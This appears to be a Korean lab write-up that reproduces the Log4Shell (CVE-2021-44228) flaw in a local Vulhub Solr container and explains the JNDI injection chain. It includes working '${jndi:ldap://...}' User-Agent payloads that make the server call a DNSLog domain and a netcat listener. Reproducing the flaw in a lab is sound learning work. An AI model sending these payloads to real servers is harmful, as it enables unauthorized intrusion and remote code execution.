
CVE-2021-44228 취약점 재현 전체 기록 (환경 구축 및 트리거 검증 포함)
이 기록은 Vulhub가 제공하는 Apache Solr 8.11.0 실습 환경을 기반으로 Log4j2 JNDI 주입 취약점을 완전히 재현하였으며, DNSLog 및 로컬 LDAP 수신을 통해 취약점 존재를 성공적으로 확인하였습니다.
vulhub/log4j/CVE-2021-44228)GitHub 직접 연결이 불안정하므로 Gitee 미러를 사용하여 가속화합니다:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
Alibaba Cloud 전용 이미지 가속기 구성 (컨테이너 이미지 서비스에 로그인하여 개인 주소 획득):
Docker Desktop 열기 → Settings → Docker Engine
registry-mirrors 수정:
{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
Apply & Restart 클릭
여전히 TLS handshake timeout이 발생하면 WSL에 진입하여 sudo hwclock -s를 실행하여 시간을 동기화합니다.
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
출력 성공 표시:
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
http://localhost:8983/solr 에 접속하면 Solr 관리 인터페이스가 나타나며 환경이 준비됩니다.
Solr는 기본적으로 core가 없으므로 수동으로 생성해야 합니다:
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
"status":0이 반환되며 core test가 성공적으로 생성되었습니다.
브라우저를 열어 http://dnslog.cn에 접속하고 Get SubDomain을 클릭하여 임시 도메인(예: abc123.dnslog.cn)을 얻습니다.
명령줄에서 실행 (PowerShell 별칭 간섭을 피하기 위해 curl.exe 사용):
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
http://dnslog.cn 페이지로 돌아가 Refresh Record를 클릭하면 즉시 DNS 해석 기록이 나타나며 취약점이 존재함을 증명합니다.
WSL에서 수신 대기: nc -lvp 1389
호스트 머신 IP 획득 (Windows PowerShell에서 ipconfig를 실행하여 WSL 가상 네트워크 어댑터 IP(예: 172.30.208.1)를 찾습니다.)
로컬 IP가 포함된 악의적인 요청 전송:
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
nc 창을 관찰하면 연결 정보가 표시됩니다:
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Solr가 성공적으로 공격자 머신에 LDAP 쿼리를 보냈음을 증명하며 취약점 재현에 성공했습니다.
Apache Log4j2가 제공하는 JndiLookup 기능은 로그 메시지에서 ${jndi:ldap://...} 형식의 플레이스홀더를 사용할 수 있도록 합니다. 로그 메시지가 기록될 때 Log4j2는 이 플레이스홀더를 구문 분석하고 JNDI를 통해 원격 LDAP 서버에 액세스하려고 시도합니다. 공격자는 악성 LDAP 서버를 구축하여 Java 역직렬화 페이로드를 반환함으로써 원격 코드 실행을 달성할 수 있습니다.
이 재현에서는 User-Agent 헤더를 악성 페이로드로 설정하여 Solr가 요청을 처리할 때 해당 헤더 정보를 기록하고 JNDI 쿼리를 트리거하여 취약점 존재를 증명했습니다.
✅ Vulhub 취약점 환경을 성공적으로 구축하고 국내 네트워크의 여러 문제(DNS 하이재킹, 이미지 가속, WSL 시간 동기화 등)를 극복했습니다.
✅ 취약점 트리거를 독립적으로 완료하고 DNSLog 및 로컬 수신 두 가지 방식을 통해 JNDI 주입을 확인했습니다.
✅ Log4Shell 취약점 원리 및 JNDI 주입 공격 체인에 대한 깊은 이해를 얻었습니다.
✅ Docker 네트워크 문제 해결, WSL2 구성, Git 프록시 정리 등 실무 경험을 축적했습니다.
# Vulhub 클론 (Gitee 미러 사용)
git clone https://gitee.com/hanxu2486/vulhub.git
# 취약점 디렉토리로 이동
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# 환경 실행
docker-compose up -d
# Solr Core 생성
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# DNSLog 확인
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 로컬 수신 확인 (WSL에서 nc 실행)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 환경 종료
docker-compose down
작성일: 2026년 6월
저자: HanXu
저장소 주소: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication
| 문제 현상 | 근본 원인 | 해결 방법 |
|---|
| git clone 502 / 연결 시간 초과 | DNS 하이재킹 / 프록시 간섭 | Gitee 미러 사용, Git 프록시 제거, DNS 새로 고침 |
| Docker 이미지 풀링 429 | 공용 이미지 소스 속도 제한 | Alibaba Cloud 전용 가속기 구성 |
| TLS handshake timeout | WSL2 시간 불일치 | sudo hwclock -s 시간 동기화 |
| 취약점 트리거 실패 | Core 미생성 또는 Payload 위치 오류 | Core 생성, User-Agent 헤더 사용 |